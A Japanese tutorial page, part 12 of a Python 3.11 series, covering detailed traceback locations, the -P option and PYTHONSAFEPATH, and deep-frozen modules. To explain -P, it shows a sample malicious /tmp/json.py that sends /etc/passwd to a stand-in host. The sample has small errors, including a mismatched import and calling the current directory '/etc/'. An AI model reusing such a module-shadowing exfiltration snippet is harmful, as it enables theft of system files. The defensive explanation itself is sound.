Python3.11の新機能 Python 3.11の新機能(その12) Python本体の機能追加

(その1) CPython高速化計画(その2) 特殊化適応的インタープリタ(その3) 関数呼び出しのインライン化(その4) 例外グループとTaskGroup(その5) PEP-646 可変長ジェネリックス(その6) PEP-673 Self型(その7) PEP-681 データクラス変換(その8) PEP-655 TypedDictの要素ごとに省略可・不可を指定する(その9) その他の型ヒント関連機能(その10) 正規表現 - アトミックグループとPossessive指定子(その11) 標準ライブラリ(その12) Python本体の機能追加

Python 3.11でのPython本体への機能追加を紹介します。

PEP 657 – トレースバックの詳細エラー表示

これまで、Pythonスクリプトの実行中にエラーが発生すると、エラーが発生した行番号が表示されていました。

Traceback (most recent call last):
  File "pep657.py", line 5, in <module>
    f(1, 2, None, 4, 5)
  File "pep657.py", line 2, in f
    return a + b + c + d + e
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'

この場合だと、return a + b + c + d + e という行で、整数値と None を加算しようとしてエラーが発生していることはわかりますが、どの変数の加算でエラーが発生したのかはわかりません。

Python3.11では、エラーが発生した行数だけではなく、カラムも表示されるようになりました。

Traceback (most recent call last):
  File "pep657.py", line 5, in <module>
    f(1, 2, None, 4, 5)
  File "pep657.py", line 2, in f
    return a + b + c + d + e
           ~~~~~~^~~
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'

この表示を見ると、b + c の部分でエラー表示されています。この場合だと、変数 c の値が None なのでエラーとなっているのがひと目でわかりますね。

コマンドラインオプション -P と 環境変数 PYTHONSAFEPATH

Pythonは、起動時にモジュール検索パス sys.path の先頭に次のディレクトリを追加します。

起動形式 追加されるPATH 意味
python3 /full/path/to/script.py "/full/path/to" ファイルと同じディレクトリを検索
python3 -m module_name 例: "/home/username" 起動時のディレクトリを検索
python3 "" カレントディレクトリを検索
python3.11 -c 'print("hello")' "" カレントディレクトリを検索

これにより、起動するスクリプトで import 文を実行すると、同じディレクトリにあるモジュールを実行できます。

しかし、この追加は意図しない危険の元になってしまうことがあります。たとえば、次のコマンドは、カレントディレクトリにあるJSONファイル foo.json を読み込んで要素を出力します。

$ python3 -c 'import json;print(json.load(open("foo.json")))'

このコマンドは、特定のユーザしか書き込めないような、安全なディレクトリで実行すれば問題ありません。

しかし、/tmp ディレクトリのように、だれでも書き込めるディレクトリで実行するとどうなるでしょう?

$ cd /tmp && python3 -c 'import json;print(json.load(open("foo.json")))'

この場合、だれか悪意を持ったユーザが /tmp/json.py にこんな内容のファイルを作成しているかもしれません。

# /tmp/json.py
from urllib import request
urllib.request.urlopen("http://example.com", open("/etc/passwd", "rb").read())

この状態でコマンド cd /tmp && python -c "import json" を実行すると、Python標準ライブラリの json ではなく、カレントディレクトリ(/etc/)に存在する json.py がインポートされ、/etc/passwd ファイルの内容がどこかのサイトに送られてしまいます。

Python 3.11では、python3コマンドの起動オプションに -P が追加され、自動的に sys.path にディレクトリを追加しないように指定できるようになりました。-P を指定すれば、このような場合にもカレントディレクトリにあるモジュールがインポートされることはなくなります。

# 通常は sys.path に '' が追加される
$ python3.11 -c "import sys;print(sys.path)"
['', '/Library/Frameworks/Python.framework/.../...', ...]

# -P を指定すると '' が追加されない
$ python3.11 -P -c "import sys;print(sys.path)"
['/Library/Frameworks/Python.framework/.../...', ...]

-P オプションを指定する代わりに、環境変数 PYTHONSAFEPATH を設定しても同じ効果があります。

# PYTHONSAFEPATHに値を設定すると '' が追加されない
PYTHONSAFEPATH=1 python3.11 -c "import sys;print(sys.path)"
['/Library/Frameworks/Python.framework/.../...', ...]

一部モジュールの DEEP Freeze化

Pythonは起動時に osモジュール など、一部のPythonモジュールをロードします。Python 3.11では起動時間短縮のため、これらのモジュールはファイルシステムから読み込むのではなく、コンパイル済みの状態でPython本体に組み込まれるようになりました。

os.py ファイルなどはPythonのlibディレクトリに存在はしていますが、このファイルを編集しても実際には読み込まれません。

Deep freezeされたモジュールは、次のように表示されます。

>>> import os
>>> os
<module 'os' (frozen)>
Copyright © 2001-2022 python.jp Privacy Policy python_japan
Amazon.co.jpアソシエイト
Amazonで他のPython書籍を検索